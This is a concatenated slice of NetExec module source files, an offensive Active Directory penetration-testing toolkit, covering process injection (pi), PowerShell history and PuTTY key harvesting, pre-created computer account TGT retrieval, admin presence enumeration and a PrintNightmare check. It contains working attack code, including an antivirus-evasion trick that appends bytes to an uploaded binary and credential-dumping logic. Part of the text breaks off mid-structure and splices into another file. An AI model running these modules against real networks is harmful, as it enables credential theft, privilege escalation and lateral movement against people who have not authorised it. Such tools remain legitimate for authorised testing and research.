NetExec-1.5.1/nxc/modules/petitpotam.py000066400000000000000000000014561514706431700200670ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY class NXCModule: name = "petitpotam" description = "[REMOVED] Module to check if the DC is vulnerable to PetitPotam, credit to @topotam" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """ LISTENER IP of your listener PIPE Default PIPE (default: lsarpc) """ self.listener = "127.0.0.1" if "LISTENER" in module_options: self.listener = module_options["LISTENER"] self.pipe = "lsarpc" if "PIPE" in module_options: self.pipe = module_options["PIPE"] def on_login(self, context, connection): context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"') NetExec-1.5.1/nxc/modules/pi.py000066400000000000000000000067451514706431700163170ustar00rootroot00000000000000from base64 import b64decode from sys import exit from os.path import abspath, join, isfile from datetime import datetime from nxc.helpers.misc import CATEGORY from nxc.paths import DATA_PATH, TMP_PATH class NXCModule: """ Module for running system command as target PID user's Module by @termanix """ name = "pi" description = "Run command as logged on users via Process Injection" supported_protocols = ["smb"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): r""" PID // Process ID for Target User, PID=pid EXEC // Command to exec, EXEC='command' Single quote is better to use This module reads the executed command output under the name C:\windows\temp\output.txt and deletes it. In case of a possible error, it may need to be deleted manually. """ self.tmp_dir = "C:\\Windows\\Temp\\" self.share = "C$" self.tmp_share = self.tmp_dir.split(":")[1] self.pi = "pi.exe" self.useembeded = True self.pid = self.cmd = "" with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file: self.pi_embedded = b64decode(pi_file.read()) # Add some random binary data to defeat AVs which check the file hash self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode() if "EXEC" in module_options: self.cmd = module_options["EXEC"] if "PID" in module_options: self.pid = module_options["PID"] def on_admin_login(self, context, connection): if self.useembeded: file_to_upload = abspath(join(TMP_PATH, "pi.exe")) with open(file_to_upload, "wb") as pm: pm.write(self.pi_embedded) else: if isfile(self.imp_exe): file_to_upload = self.imp_exe else: context.log.error(f"Cannot open {self.imp_exe}") exit(1) try: if self.cmd == "" or self.pid == "": self.uploadfile = False context.log.highlight("Firstly run tasklist.exe /v to find process id for each user") context.log.highlight("Usage: -o PID=pid EXEC='Command'") return else: self.uploadfile = True context.log.display(f"Uploading {self.pi}") with open(file_to_upload, "rb") as pi: try: connection.conn.putFile(self.share, f"{self.tmp_share}{self.pi}", pi.read) context.log.success("pi.exe successfully uploaded") except Exception as e: context.log.fail(f"Error writing file to share {self.tmp_share}: {e}") return context.log.display(f"Executing {self.cmd}") command = f'{self.tmp_dir}pi.exe {self.pid} "{self.cmd}"' for line in connection.execute(command, True, methods=["smbexec"]).splitlines(): context.log.highlight(line) except Exception as e: context.log.fail(f"Error running command: {e}") finally: try: if self.uploadfile is True: connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.pi}") context.log.success("pi.exe successfully deleted") except Exception as e: context.log.fail(f"Error deleting pi.exe on {self.share}: {e}") NetExec-1.5.1/nxc/modules/powershell_history.py000066400000000000000000000063741514706431700216520ustar00rootroot00000000000000from os import makedirs from os.path import join, abspath from nxc.helpers.misc import CATEGORY from nxc.paths import NXC_PATH from io import BytesIO class NXCModule: # Module by @357384n # Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command name = "powershell_history" description = "Extracts PowerShell history for all users and looks for sensitive commands." supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] sensitive_keywords = [ "password", "passw", "secret", "credential", "key", "get-credential", "convertto-securestring", "set-localuser", "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", "invoke-webrequest", "invoke-restmethod" ] def options(self, _, module_options): self.export = bool(module_options.get("EXPORT", False)) def on_admin_login(self, context, connection): for directory in connection.conn.listPath("C$", "Users\\*"): if directory.get_longname() not in self.false_positive and directory.is_directory(): try: powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\" for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"): if file.get_longname() not in self.false_positive: file_path = f"{powershell_history_dir}{file.get_longname()}" buf = BytesIO() connection.conn.getFile("C$", file_path, buf.write) buf.seek(0) file_content = buf.read().decode("utf-8", errors="ignore") keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content.lower()] if len(keywords): context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") else: context.log.highlight(f"C:\\{file_path}") for line in file_content.splitlines(): context.log.highlight(f"\t{line}") if self.export: filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt" export_path = join(NXC_PATH, "modules", "powershell_history") path = abspath(join(export_path, filename)) makedirs(export_path, exist_ok=True) try: with open(path, "w+") as file: file.write(file_content) context.log.highlight(f"PowerShell history written to: {path}") except Exception as e: context.log.fail(f"Failed to write history to {filename}: {e}") except Exception: pass NetExec-1.5.1/nxc/modules/pre2k.py000066400000000000000000000121121514706431700167130ustar00rootroot00000000000000import os from impacket.krb5.kerberosv5 import getKerberosTGT from impacket.krb5.ccache import CCache from impacket.krb5.types import Principal from impacket.krb5 import constants from nxc.helpers.misc import CATEGORY from nxc.parsers.ldap_results import parse_result_attributes from nxc.paths import NXC_PATH class NXCModule: """ Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each pre-created computer account. Module by: @shad0wcntr0ller """ name = "pre2k" description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each" supported_protocols = ["ldap"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): """No options available""" def on_login(self, context, connection): # Define the search filter for pre-created computer accounts search_filter = "(&(objectClass=computer)(userAccountControl=4128))" attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"] context.log.info(f"Using search filter: {search_filter}") context.log.info(f"Attributes to retrieve: {attributes}") computers = [] try: # Use paged search to retrieve all computer accounts with specific flags search_results = connection.search(search_filter, attributes) results = parse_result_attributes(search_results) context.log.debug(f"Search results: {results}") for computer in results: context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}") # Check if the account is a pre-created computer account if int(computer["userAccountControl"]) == 4128: # 4096 | 32 computers.append(computer["sAMAccountName"]) context.log.debug(f"Added computer: {computer['sAMAccountName']}") # Save computers to file domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain) output_file = os.path.join(domain_dir, "precreated_computers.txt") # Create directories if they do not exist os.makedirs(domain_dir, exist_ok=True) with open(output_file, "w") as file: for computer in computers: file.write(f"{computer}\n") # Print discovered pre-created computer accounts if computers: for computer in computers: context.log.highlight(f"Pre-created computer account: {computer}") context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}") else: context.log.info("No pre-created computer accounts found.") # Obtain TGTs and save to ccache ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache" os.makedirs(ccache_base_dir, exist_ok=True) successful_tgts = 0 for computer in computers: machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir): successful_tgts += 1 # Summary of TGT results if successful_tgts > 0: context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}") except Exception as e: context.log.fail(f"Error occurred during search: {e}") def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir): try: userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) password = username[:14] # Password is the first 14 characters of the machine name in lowercase context.log.info(f"Getting TGT for {username}@{domain}") tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( clientName=userName, password=password, domain=domain, lmhash="", nthash="", aesKey="", kdcHost=kdcHost, serverName=None ) self.save_ticket(context, username, tgt, oldSessionKey, ccache_base_dir) context.log.success(f"Successfully obtained TGT for {username}@{domain}") return True except Exception as e: context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}") return False def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir): try: ccache = CCache() ccache.fromTGT(ticket, sessionKey, sessionKey) ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache") ccache.saveFile(ccache_filename) context.log.info(f"Saved ticket in {ccache_filename}") except Exception as e: context.log.fail(f"Failed to save ticket for {username}: {e}") NetExec-1.5.1/nxc/modules/presence.py000066400000000000000000000312011514706431700174740ustar00rootroot00000000000000import re from impacket.dcerpc.v5 import samr, tsch, transport from impacket.dcerpc.v5 import tsts as TSTS from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from contextlib import suppress import traceback from nxc.helpers.misc import CATEGORY class NXCModule: """ Module to find Domain and Enterprise Admin presence on target systems over SMB. Made by @crosscutsaw, @NeffIsBack """ name = "presence" description = "Traces Domain and Enterprise Admin presence in the target over SMB" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """There are no module options.""" def on_admin_login(self, context, connection): try: admin_users = self.enumerate_admin_users(context, connection) if not admin_users: context.log.fail("No admin users found.") return # Update user objects to check if they are in tasklist, users directory or in scheduled tasks self.check_users_directory(context, connection, admin_users) self.check_tasklist(context, connection, admin_users) self.check_scheduled_tasks(context, connection, admin_users) # print grouped/logged results nicely self.print_grouped_results(context, admin_users) except Exception as e: context.log.fail(str(e)) context.log.debug(traceback.format_exc()) def get_dce_rpc(self, target, string_binding, dce_binding, connection): # Create a DCE/RPC transport object with the specified string binding rpctransport = transport.DCERPCTransportFactory(string_binding) rpctransport.setRemoteHost(target) rpctransport.set_credentials( connection.username, connection.password, connection.domain, connection.lmhash, connection.nthash, aesKey=connection.aesKey, ) rpctransport.set_kerberos(connection.kerberos, connection.kdcHost) # Connect to the DCE/RPC endpoint dce = rpctransport.get_dce_rpc() if connection.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_credentials(*rpctransport.get_credentials()) dce.connect() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.bind(dce_binding) return dce def enumerate_admin_users(self, context, connection): admin_users = [] try: string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]" dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection) except Exception as e: context.log.fail(f"Failed to connect to SAMR: {e}") context.log.debug(traceback.format_exc()) return admin_users try: server_handle = samr.hSamrConnect2(dce)["ServerHandle"] domain = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)["Buffer"]["Buffer"][0]["Name"] resp = samr.hSamrLookupDomainInSamServer(dce, server_handle, domain) self.domain_sid = resp["DomainId"].formatCanonical() domain_handle = samr.hSamrOpenDomain(dce, server_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_LIST_ACCOUNTS, resp["DomainId"])["DomainHandle"] context.log.debug(f"Resolved domain SID for {domain}: {self.domain_sid}") except Exception as e: context.log.fail(f"Failed to open domain {domain}: {e!s}") context.log.debug(traceback.format_exc()) return admin_users admin_rids = { "Domain Admins": 512, "Enterprise Admins": 519, } # Enumerate admin groups and their members for group_name, group_rid in admin_rids.items(): context.log.debug(f"Looking up group: {group_name} with RID {group_rid}") try: group_handle = samr.hSamrOpenGroup(dce, domain_handle, samr.GROUP_LIST_MEMBERS, group_rid)["GroupHandle"] resp = samr.hSamrGetMembersInGroup(dce, group_handle) for member in resp["Members"]["Members"]: rid = int.from_bytes(member.getData(), byteorder="little") try: user_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, rid)["UserHandle"] username = samr.hSamrQueryInformationUser2(dce, user_handle, samr.USER_INFORMATION_CLASS.UserAllInformation)["Buffer"]["All"]["UserName"] # If user already exists, append group name if any(u["sid"] == f"{self.domain_sid}-{rid}" for u in admin_users): user = next(u for u in admin_users if u["sid"] == f"{self.domain_sid}-{rid}") user["group"].append(group_name) else: admin_users.append({"username": username, "sid": f"{self.domain_sid}-{rid}", "domain": domain, "group": [group_name], "in_tasks": False, "in_directory": False, "in_scheduled_tasks": False}) context.log.debug(f"Found user: {username} with RID {rid} in group {group_name}") except Exception as e: context.log.debug(f"Failed to get user info for RID {rid}: {e!s}") finally: with suppress(Exception): samr.hSamrCloseHandle(dce, user_handle) except Exception as e: context.log.debug(f"Failed to get members of group {group_name}: {e!s}") finally: with suppress(Exception): samr.hSamrCloseHandle(dce, group_handle) return admin_users def check_users_directory(self, context, connection, admin_users): dirs_found = set() # try C$\Users first try: files = connection.conn.listPath("C$", "\\Users\\*") except Exception as e: context.log.debug(f"C$\\Users unavailable: {e}, trying Documents and Settings") try: files = connection.conn.listPath("C$", "\\Documents and Settings\\*") except Exception as e: context.log.fail(f"Error listing fallback directory: {e}") return else: context.log.debug("Successfully listed C$\\Users") # collect folder names (lowercase) ignoring "." and ".." dirs_found.update([f.get_shortname().lower() for f in files if f.get_shortname().lower() not in [".", "..", "administrator"]]) # for admin users, check for folder presence for user in admin_users: # Look for administrator.domain to check if SID 500 Administrator is present (second check) if user["username"].lower() in dirs_found or \ (user["username"].lower() == "administrator" and f"{user['username'].lower()}.{user['domain']}" in dirs_found): user["in_directory"] = True context.log.info(f"Found user {user['username']} in directories") def check_tasklist(self, context, connection, admin_users): """Checks tasklist over rpc.""" try: with TSTS.LegacyAPI(connection.conn, connection.remoteName, kerberos=connection.kerberos) as legacy: handle = legacy.hRpcWinStationOpenServer() processes = legacy.hRpcWinStationGetAllProcesses(handle) except Exception as e: context.log.fail(f"Error in check_tasklist RPC method: {e}") return [] context.log.debug(f"Enumerated {len(processes)} processes on {connection.host}") for process in processes: context.log.debug(f"ImageName: {process['ImageName']}, UniqueProcessId: {process['SessionId']}, pSid: {process['pSid']}") # Check if process SID matches any admin user SID for user in admin_users: if process["pSid"] == user["sid"]: user["in_tasks"] = True context.log.info(f"Matched process {process['ImageName']} with user {user['username']}") def check_scheduled_tasks(self, context, connection, admin_users): """Checks scheduled tasks over rpc.""" try: target = connection.remoteName if connection.kerberos else connection.host stringbinding = f"ncacn_np:{target}[\\pipe\\atsvc]" dce = self.get_dce_rpc(target, stringbinding, tsch.MSRPC_UUID_TSCHS, connection) # Also extract non admins where we can get the password self.non_admins = [] non_admin_sids = set() tasks = tsch.hSchRpcEnumTasks(dce, "\\")["pNames"] for task in tasks: xml = tsch.hSchRpcRetrieveTask(dce, task["Data"])["pXml"] # Extract SID and LogonType from the XML, if LogonType is "Password" we should be able to extract the password sid = re.search(fr"({self.domain_sid}-\d{{3,}})", xml) logon_type = re.search(r"(\w+)", xml) # Check if SID and LogonType are found, then check if SID matches any admin user if sid and logon_type and logon_type.group(1) == "Password": context.log.debug(f"Found scheduled task '{task['Data']}' with SID {sid} and LogonType {logon_type.group(1)}") if any(user["sid"] == sid.group(1) for user in admin_users): user = next(user for user in admin_users if user["sid"] == sid.group(1)) user["in_scheduled_tasks"] = True else: # If not an admin user, add to non_admin_sids for further processing non_admin_sids.add(sid.group(1)) if non_admin_sids: string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]" dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection) # Get Domain Handle server_handle = samr.hSamrConnect2(dce)["ServerHandle"] domain = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)["Buffer"]["Buffer"][0]["Name"] domain_sid = samr.hSamrLookupDomainInSamServer(dce, server_handle, domain)["DomainId"] domain_handle = samr.hSamrOpenDomain(dce, server_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_LIST_ACCOUNTS, domain_sid)["DomainHandle"] for sid in non_admin_sids: user_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, int(sid.split("-")[-1]))["UserHandle"] username = samr.hSamrQueryInformationUser2(dce, user_handle, samr.USER_INFORMATION_CLASS.UserAllInformation)["Buffer"]["All"]["UserName"] self.non_admins.append(username) except Exception as e: context.log.fail(f"Failed to enumerate scheduled tasks: {e}") context.log.debug(traceback.format_exc()) def print_grouped_results(self, context, admin_users): """Logs all results grouped per host in order""" # Make less verbose for scanning large ranges context.log.info(f"Identified Admin Users: {', '.join([user['username'] for user in admin_users])}") # Print directory users dir_users = [user for user in admin_users if user["in_directory"]] if dir_users: context.log.success("Found admins in directories:") for user in dir_users: context.log.highlight(f"{user['username']} ({', '.join(user['group'])})") # Print tasklist users tasklist_users = [user for user in admin_users if user["in_tasks"]] if tasklist_users: context.log.success("Found admins in tasklist:") for user in tasklist_users: context.log.highlight(f"{user['username']} ({', '.join(user['group'])})") # Print scheduled tasks users scheduled_tasks_users = [user for user in admin_users if user["in_scheduled_tasks"]] if scheduled_tasks_users: context.log.success("Found admins in scheduled tasks:") for user in scheduled_tasks_users: context.log.highlight(f"{user['username']} ({', '.join(user['group'])})") if self.non_admins: context.log.info(f"Found {len(self.non_admins)} non-admin scheduled tasks:") for sid in self.non_admins: context.log.info(sid) # Making this less verbose to better scan large ranges if not dir_users and not tasklist_users: context.log.info("No matches found in users directory, tasklist or scheduled tasks.") NetExec-1.5.1/nxc/modules/printerbug.py000066400000000000000000000014611514706431700200560ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY class NXCModule: name = "printerbug" description = "[REMOVED] Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion." supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options self.listener = None def options(self, context, module_options): """LISTENER Listener Address (defaults to 127.0.0.1)""" self.listener = "127.0.0.1" if "LISTENER" in module_options: self.listener = module_options["LISTENER"] def on_login(self, context, connection): context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"') NetExec-1.5.1/nxc/modules/printnightmare.py000066400000000000000000000244041514706431700207320ustar00rootroot00000000000000from impacket import system_errors from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes from impacket.structure import Structure from impacket.dcerpc.v5 import transport, rprn from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR from impacket.dcerpc.v5.rprn import checkNullString, STRING_HANDLE, PBYTE_ARRAY from nxc.helpers.misc import CATEGORY KNOWN_PROTOCOLS = { 135: {"bindstr": r"ncacn_ip_tcp:%s[135]"}, 445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"}, } class NXCModule: """ Check if vulnerable to printnightmare Module by @mpgn_x64 based on https://github.com/ly4k/PrintNightmare """ name = "printnightmare" description = "Check if host vulnerable to printnightmare" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options self.__string_binding = None self.port = None def options(self, context, module_options): """PORT Port to check (defaults to 445)""" self.port = 445 if "PORT" in module_options: self.port = int(module_options["PORT"]) def on_login(self, context, connection): # Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515) target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain stringbinding = rf"ncacn_np:{target}[\PIPE\spoolss]" context.log.info(f"Binding to {stringbinding!r}") rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_credentials( connection.username, connection.password, connection.domain, connection.lmhash, connection.nthash, connection.aesKey, ) rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) rpctransport.setRemoteHost(target) rpctransport.set_dport(self.port) try: dce = rpctransport.get_dce_rpc() if connection.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) # Connect to spoolss named pipe dce.connect() # Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB dce.bind(rprn.MSRPC_UUID_RPRN) except Exception as e: context.log.fail(f"Failed to bind: {e}") return False flags = APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | APD_INSTALL_WARNED_DRIVER driver_container = DRIVER_CONTAINER() driver_container["Level"] = 2 driver_container["DriverInfo"]["tag"] = 2 driver_container["DriverInfo"]["Level2"]["cVersion"] = 0 driver_container["DriverInfo"]["Level2"]["pName"] = NULL driver_container["DriverInfo"]["Level2"]["pEnvironment"] = NULL driver_container["DriverInfo"]["Level2"]["pDriverPath"] = NULL driver_container["DriverInfo"]["Level2"]["pDataFile"] = NULL driver_container["DriverInfo"]["Level2"]["pConfigFile"] = NULL driver_container["DriverInfo"]["Level2"]["pConfigFile"] = NULL try: hRpcAddPrinterDriverEx( dce, pName=NULL, pDriverContainer=driver_container, dwFileCopyFlags=flags, ) except DCERPCSessionError as e: # RPC_E_ACCESS_DENIED is returned on patched systems, when # a non-administrative user tries to create a new printer # driver if e.error_code == RPC_E_ACCESS_DENIED: context.log.info("Not vulnerable :'(") return False # If vulnerable, 'ERROR_INVALID_PARAMETER' will be returned if e.error_code == system_errors.ERROR_INVALID_PARAMETER: context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") return True context.log.fail(f"Unexpected error: {e}") except DCERPCException as e: if rpc_status_codes[e.error_code] == "rpc_s_access_denied": context.log.info("Not vulnerable :'(") return False context.log.fail(f"Unexpected error: {e}") context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") return True class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__(self): key = self.error_code if key in system_errors.ERROR_MESSAGES: error_msg_short = system_errors.ERROR_MESSAGES[key][0] error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] return f"RPRN SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}" else: return f"RPRN SessionError: unknown error code: 0x{self.error_code:x}" ################################################################################ # CONSTANTS ################################################################################ # MS-RPRN - 3.1.4.4.8 APD_COPY_ALL_FILES = 0x00000004 APD_COPY_FROM_DIRECTORY = 0x00000010 APD_INSTALL_WARNED_DRIVER = 0x00008000 # MS-RPRN - 3.1.4.4.7 DPD_DELETE_UNUSED_FILES = 0x00000001 # https://docs.microsoft.com/en-us/windows/win32/com/com-error-codes-3 RPC_E_ACCESS_DENIED = 0x8001011B system_errors.ERROR_MESSAGES[RPC_E_ACCESS_DENIED] = ( "RPC_E_ACCESS_DENIED", "Access is denied.", ) ################################################################################ # STRUCTURES ################################################################################ # MS-RPRN - 2.2.1.5.1 class DRIVER_INFO_1(NDRSTRUCT): structure = (("pName", STRING_HANDLE),) class PDRIVER_INFO_1(NDRPOINTER): referent = (("Data", DRIVER_INFO_1),) # MS-RPRN - 2.2.1.5.2 class DRIVER_INFO_2(NDRSTRUCT): structure = ( ("cVersion", DWORD), ("pName", LPWSTR), ("pEnvironment", LPWSTR), ("pDriverPath", LPWSTR), ("pDataFile", LPWSTR), ("pConfigFile", LPWSTR), ) class PDRIVER_INFO_2(NDRPOINTER): referent = (("Data", DRIVER_INFO_2),) class DRIVER_INFO_2_BLOB(Structure): structure = ( ("cVersion", " 0: add_user_bh(credz_bh, None, context.log, connection.config) except Exception as e: context.log.fail("Error openning dump file", str(e)) def delete_procdump_binary(self, connection, context): try: connection.conn.deleteFile(self.share, self.tmp_share + self.procdump) context.log.success(f"Deleted procdump file on the {self.share} share") except Exception as e: context.log.fail(f"Error deleting procdump file on share {self.share}: {e}") NetExec-1.5.1/nxc/modules/pso.py000066400000000000000000000012571514706431700165010ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY class NXCModule: """ Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP Module by @_sandw1ch """ name = "pso" description = "Module to get the Fine Grained Password Policy/PSOs" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options def options(self, context, module_options): """No options available.""" def on_login(self, context, connection): context.log.fail("[REMOVED] This module moved to the core option --pso") NetExec-1.5.1/nxc/modules/putty.py000066400000000000000000000314101514706431700170570ustar00rootroot00000000000000from datetime import datetime from io import BytesIO import traceback from urllib.parse import unquote from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations from os import makedirs from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY from nxc.paths import NXC_PATH import re class NXCModule: """Module by @NeffIsBack""" name = "putty" description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found." supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def __init__(self): self.context = None self.module_options = None self.rrp = None def options(self, context, module_options): """No options available""" def get_logged_on_users(self): """Enumerate all logged in and loaded Users on System""" reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"] key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"] users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"] # Get User Names user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)] rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) # Filter legit users in regex user_objects.remove(".DEFAULT") regex = re.compile(r"^.*_Classes$") return [i for i in user_objects if not regex.match(i)] def get_all_users(self): """Get all users that have logged in at some point in time""" reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"] key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"] users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"] # Get User Names user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)] rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) return user_objects def sid_to_name(self, all_users): """Convert SID to Usernames for better readability""" reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"] user_dict = {} for user_object in all_users: key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"] user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0] rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) user_dict[user_object] = user_profile_path.split("\\")[-1] return user_dict def load_missing_users(self, unloaded_user_objects): """Load missing users into registry to access their registry keys.""" for user_object in unloaded_user_objects: try: # Extract profile Path of NTUSER.DAT reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"] key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"] user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0] rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) # Load Profile reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"] key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"] self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}") rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT") rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) except rrp.DCERPCSessionError as e: self.context.log.fail(f"Error loading user {user_object} into registry: {e}") self.context.log.debug(traceback.format_exc()) def unload_missing_users(self, unloaded_user_objects): """If some user were not logged in at the beginning we unload them from registry.""" reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"] key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"] for user_object in unloaded_user_objects: self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}") try: rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object) except rrp.DCERPCSessionError as e: self.context.log.fail(f"Error unloading user {user_object} in registry: {e}") self.context.log.debug(traceback.format_exc()) rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) def get_private_key_paths(self, all_users): """Get all private key paths for all users""" sessions = [] reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"] for user in all_users: try: key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"] reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"] self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!') # Get Session Names session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)] rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle) # Extract stored Session infos for session_name in session_names: key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"] # Get 